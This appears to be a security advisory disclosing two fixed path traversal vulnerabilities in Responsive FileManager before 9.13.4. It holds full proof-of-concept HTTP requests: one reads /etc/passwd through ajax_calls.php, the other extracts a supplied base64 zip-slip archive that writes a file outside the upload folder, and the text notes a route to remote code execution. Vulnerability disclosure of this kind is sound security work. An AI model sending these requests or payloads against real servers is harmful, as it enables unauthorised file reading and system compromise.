Responsive FileManager < 9.13.4 - Directory Traversal
The following vulnerabilities were fixed in the version 9.13.4. https://responsivefilemanager.com #1 Path Traversal Allows to Read Any File Reserved CVE: CVE-2018-15535 Discovered By: Simon Uvarov Vendor Status: Fixed Details: The following request allows a user to read any file on the system. GET /filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd HTTP/1.1 Host: 192.168.5.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.5.129/filemanager/dialog.php?type=0&popup=1 X-Requested-With: XMLHttpRequest Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5 Connection: close #2 Path Traversal While Upacking Archives Reserved CVE: CVE-2018-15536 Discovered By: Simon Uvarov Vendor Status: Fixed The following request starts unpacking the exploit.zip archive: POST /filemanager/ajax_calls.php?action=extract HTTP/1.1 Host: 192.168.5.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.5.129/filemanager/dialog.php?type=0&lang=en_EN&popup=1&crossdomain=0&relative_url=0&akey=key&fldr=&5b6d9b91535a9&1533909952983 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 16 Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5 Connection: close path=exploit.zip Bases64-encoded example of exploit.zip which creates source.txt in /tmp/ directory: UEsDBBQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1w L3NvdXJjZS50eHR1cGxvYWRzIGZvbGRlclBLAQIUAxQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAA AAAAAAAAAADtgQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvc291cmNlLnR4dFBLBQYA AAAAAQABAFQAAABSAAAAAAA= It is possible to create archives containing ../../ as a part of a file path, now it's famous as ZipSlip vulnerability, but it's an old bug. It is impossible to upload .php files or .htaccess file using this method, but itas possible to create different files with "legal" extensions on a system and it may lead to remote code execution if a server runs with enough privileges, for example, to create cron jobs. |